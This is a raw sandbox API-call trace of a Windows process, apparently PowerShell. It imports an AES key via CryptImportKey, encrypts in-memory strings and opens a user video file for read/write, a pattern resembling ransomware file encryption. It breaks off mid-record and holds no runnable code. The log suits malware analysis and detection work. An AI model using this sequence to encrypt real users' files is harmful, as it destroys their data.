(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0138.704] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.704] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0138.704] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.704] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.704] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.704] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.704] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0138.704] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.704] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.705] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.705] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.705] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0138.705] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.705] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.705] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.705] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.705] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0138.706] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.706] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.706] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.706] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.706] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0138.706] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.706] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.706] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.706] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.706] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0138.706] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.707] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.707] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0138.707] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.707] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.707] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0138.707] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.707] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0138.707] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.707] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0138.707] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.708] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0138.708] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.708] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0138.708] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.708] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0138.708] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.708] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.708] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.709] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0138.709] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.709] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.709] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.709] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.709] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0138.709] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.709] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.709] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.709] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.709] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0138.709] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.709] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.709] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.709] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.710] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.710] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.710] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.710] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.710] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.710] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.710] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.710] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.711] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.711] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.711] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.711] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0138.712] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0138.712] CryptImportKey (in: hProv=0x43964e8, pbData=0x6a3f2a4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84f78) returned 1 [0138.712] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.712] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.713] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.713] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.714] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 0x20 [0138.714] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 0x20 [0138.714] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.714] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.714] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.715] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.715] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.715] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.715] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.715] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0138.716] GetFileType (hFile=0x764) returned 0x1 [0138.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.716] GetFileType (hFile=0x764) returned 0x1 [0138.716] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 